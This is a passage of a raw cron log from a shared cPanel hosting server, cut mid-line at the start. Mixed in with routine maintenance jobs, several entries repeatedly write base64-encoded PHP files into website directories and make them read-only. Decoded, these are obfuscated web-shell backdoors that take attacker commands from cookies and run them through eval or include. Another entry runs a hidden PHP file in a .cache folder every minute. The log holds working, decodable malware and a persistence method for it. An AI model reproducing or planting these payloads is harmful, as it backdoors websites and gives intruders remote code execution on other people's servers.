CAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:14:02 medusa CROND[2920]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:14:02 medusa CROND[2907]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 16:14:02 medusa CROND[2921]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:14:02 medusa CROND[2925]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:15:01 medusa CROND[24563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:15:01 medusa CROND[24577]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 16:15:01 medusa CROND[24592]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 16:15:01 medusa CROND[24667]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 16:15:02 medusa CROND[24704]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:15:02 medusa CROND[24705]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 16:15:02 medusa CROND[24706]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 16:15:02 medusa CROND[24707]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:15:02 medusa CROND[24708]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:15:02 medusa CROND[24709]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 16:15:02 medusa CROND[24713]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 16:15:02 medusa CROND[24711]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:15:02 medusa CROND[24715]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 16:15:02 medusa CROND[24717]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 16:15:02 medusa CROND[24720]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:15:02 medusa CROND[24714]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 16:15:02 medusa CROND[24729]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:15:02 medusa CROND[24731]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:15:02 medusa CROND[24732]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:15:02 medusa CROND[24722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:15:02 medusa CROND[24734]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:15:02 medusa CROND[24728]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 16:15:02 medusa CROND[24743]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 16:15:02 medusa CROND[24736]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  1 16:16:01 medusa CROND[14041]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:16:01 medusa CROND[14042]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:16:01 medusa CROND[14043]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:16:01 medusa CROND[14044]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:16:01 medusa CROND[14045]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:16:01 medusa CROND[14046]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:16:01 medusa CROND[14047]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 16:16:01 medusa CROND[14049]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 16:16:01 medusa CROND[14050]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:16:01 medusa CROND[14051]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:16:01 medusa CROND[14048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
